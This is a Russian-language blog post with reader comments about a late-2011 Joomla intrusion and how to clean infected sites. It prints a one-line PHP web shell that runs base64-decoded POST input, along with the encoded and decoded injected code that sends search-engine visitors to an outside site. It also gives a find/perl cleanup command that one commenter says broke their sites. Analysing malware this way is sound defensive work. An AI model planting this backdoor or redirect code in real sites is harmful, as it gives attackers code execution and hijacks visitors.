yandex

Взлом Joomla, внедрение бекдора и очистка от кода

Author:

UPD 01.03.2013: Я закрыл возможность комментирования данной записи. Все вопросы по данной теме задавайте на https://ask.sabini.ch. Благодарю за понимание.

В конце 2011 года в Joomla была некая уязвимость, которая позволила злоумышленникам положить в директорию images бекдор – файл post.php, следующего содержания

<?php eval(base64_decode($_POST[“php”])); ?>

После чего основная масса файлов с расширением php (причем, заражалось все без разбору, включая configuration.php.

Код, который помещался в файл таков:

<?php           eval(base64_decode(“DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0=”));

Это зашифрованная в base64 информация, которая содержит в себе ссылку на какой-то польский сайт

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[‘HTTP_REFERER’];
$uag=$_SERVER[‘HTTP_USER_AGENT’];
if ($uag) {
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://happynewyear.osa.pl/”);
exit();
}
}
}
}

Чтобы аккуратно очистить зараженный сайт, следут авторизоваться по ssh и выполнить следующую простую команду

find . -type f -name ‘*.php’ -exec perl -pi -e ‘s/eval\(base64_decode\(\”DQp.*p9\”\)\)\;//g’ ‘{}’ \;

После всего этого остается только напомнить, что следует постоянно следить за актуальностью версий программного обеспечения, которое используется на сайте.

Так же обратите внимание на выход Joomla! 2.5, которая станет LTS и достойной заменой Joomla! 1.5.

PS: Если возникнут проблемы с удалением вредоносного кода, то всегда готов помочь.

20 thoughts on “Взлом Joomla, внедрение бекдора и очистка от кода”

  1. Сам столкнулся с такой проблемой и никак не могу ее решить. Суть такова висит сайт в топе, как я понимаю на него идет атака, чтоб с яндекса по ссылке редиректится на указанный в коде сайт. Сайты, кстати всегда разные. Если заходить напрямую на сайт то редирект не происходит. Сайтов на хосте много, поэтому делаю просто общее восстановление сайтов на день предыдущий, помогает на 3-4 дня, после этого снова все php файлы с кодом. Дыру так и не могу найти, тех поддержка тоже внятного ничего сказать не может. Закрывал доступ по фтп, не спасло. Вобщем беда, спасает только бэкапы. Джумка везде обновлена до последнего релиза 1.5.25.

  2. Не знаю что там было а что нет, а может и сейчас ещё есть, но все пишут одну и ту же глупость: “позволила злоумышленникам положить в директорию images бекдор – файл post.php”.
    Да всё очень просто – пароль он к админке подбирает, заходит в настройки сайта, дописывает в разрешённые для загрузки файлы расширение .php и спокойно загружает свой post.php в картинки.
    Реально жесть, все пишите, панацею даёте, а у самих до сих пор поди загрузка файлов .php разрешена после него. И кэширование он ещё включает напоследок)))

  3. Добрый деь
    Похожая проблема. Сайт еще на локал хосте.
    В коде есть 2 ссылки на внешние сайты (смартфоны), не могу их найти.
    Искал через БД, Файл менеджер, вручную просматривал. Как понимаю, там кодировка другая стоит.
    Помогите, где и чем искать??

  4. Искал с помощью Total Commander, находит около 100 файлов. все нужно перелопатить, ведь ссылки скорее всего в коде самой джумлы или расширениях (докачивал шаблон, языки, сайтмап, меню)
    В любом случае СПАСИБО!
    Будем разбираться)

  5. В джумуле вообще насколько япомню не используется соченание евал и бейс64 декод, посему вобще убивай все что так входит, ибо это все вирус просто видо измененый а таких много, я сейчас могу тебе штуки 4 дать.

  6. Приветствую
    По наследству от предыдущего администратора мне достался сайт на Joomla – a…h.com
    Сегодня ночью он был взломан и теперь на его главной странице красуется “hacked by Evil hacker”
    С чего мне начать восстановление работы сайта? Его нужно оживить как можно скорее

  7. Подскажите плиз…. только начал разбираться с джумлой и шаблонами… нашел через FireBug левые ссылки… прописаны в div class
    и в файле такую вот вещь
    ?php echo base64_decode(“PGRpdiBpZD0ic3lzLXB vcy1taCIQuote from GEgaHJlZj0iaH….NC00LvRjyBqb29tbGE8L2EPC9kaXYPGpkb2M6aW5jbHVkZSB0eXBlPSJjb21wb25lbnQiIC8”;?
    При удалении уходят ссылки, но и весь контент страницы…. как их грохнуть можно?

  8. Может пригодится кому )))
    ссылки на странице скрываются таким образом (-5000 было у меня)
    #sys-pos-mh {position: absolute; top: 0px; left: -5000px;}
    то есть позиция ссылки выносится за видимую часть экрана, через тотал коммандер-его поиском по словам в документе в папке с шаблоном ищите значение -5000, у меня оно оказалось в template.css, комментируем данную строку-ссылки стали видимыми.
    Но… найти по тексту-адрес ссылки или тайтл-не удалось… тогда ищем по такому словосочетанию: base64_decode
    У меня нашло вот это:

    Вырезаем все что стоит между двойными кавычками-сохраняем во что нибудь типа блокнота (при простом удалении у меня напрочь сносило и весь контент со страниц), идем в любой онлайн-декодер, я воспользовался
    http://…./service/polezno/dekoder_teksta.php
    В результате получил

    фильмы в hd онлайн

    шаблоны для joomla

    Отсюда вырезаем все-ссылки, тайтлы и заголовки и получаем


    Копируем это и идем
    http://…./url-coder
    Там по новой кодируем то что скопировали, получаем
    %3Cdiv%20id%3D%22sys-pos-mh%22%3E%3Ca%20href%3D%22%22%20title%3D%22%
    22%20class%3D%22underline%22%3E%3C%2Fa%3E%3Cbr%3E%3Ca%20href%3D%22%
    22%20title%3D%22%22%20class%3D%22underline%22%3E%3C%2Fa%3E%3C%2Fdiv%3
    E%3Cjdoc%3Ainclude%20type%3D%22component%22%20%2F%3E
    Копируем это, и вставляем в template.css вместо того набора символов, что был в оригинале,
    сохраняемся-ссылки ушли, контент остался )))

  9. в firebug’e вижу ссылку, которую хочу удалить…. а вот как это сделать пока не разобрался-я его только вчера поставил )))) прямо из него удаляю, при обновлении страницы появляется…. как это сделать правильно? ))

  10. в принципе это понятно, но как искать этот адрес? у меня же не статические страницы…. через поиск тотал коммандера по словам в документах этот адрес не находит…. но где то же он сидит…. если кто нибудь уже разбирался с этим отпишитесь плиз.

  11. У меня около 10 проектов на одном аккаунте хостера, некоторые на Joomla 1.5, а некоторые на Joomla 2.5. Через один сайт на j1.5, я получил заражение, на все остальные проекты. Вирус состоял из 3 файлов, один из них, который мне удалил nod32, назывался story.php.
    Ну да ладно, вообщем, вот такой код стоял во всех php файлах:
    eval(base64_decode(“DQplcnJvcl9yZXB……… w0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ==”));
    в принципе тоже самое, что и в посте написано, только на url другой перекидывал.
    я такой код прописал в putty:
    find . -type f -name ‘*.php’ -exec perl -pi -e’ s/eval\(base64_decode\(\”DQplcnJ.*0KfQ==\”\)\)\;//g’ ‘{}’ \;
    и думал буду радоваться жизни, но ни тут-то было!
    При загрузке сайта, браузер стал выдавать ошибки на всех проектах.
    Вадим, автор поста, что неправильно я прописал, код с этого поста брал ведь?

  12. У меня так полегло 6 сайтов. тоже зачистка кода не помогает. сайты лежат мертвым грузом. некоторые скрипты видно что код скриптов кусками дублирован. Копий рабочих нет. Восстанавливать надо сайты как то, но искать все подобные скрипты и пытаться понять что в них не так….
    Если найдете решение, поделитесь, пожалуйста

  13. с помощью firebug вижу левую ссылку на сайте,а вот найти ее не могу ….все перелопатил ((( вот сайт http://ch… – а вот собственно левая ссылка d…/docs/Best. где она зарыта,как искать ума не приложу …

  14. У меня на сайте появился код, который на всех страницах размещает невидимые ссылки, причём на всех страницах разные. Как его вычислить понять не могу. С какой стороны подступиться?
    По теме base64 уже пробовал – явно не та тема.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *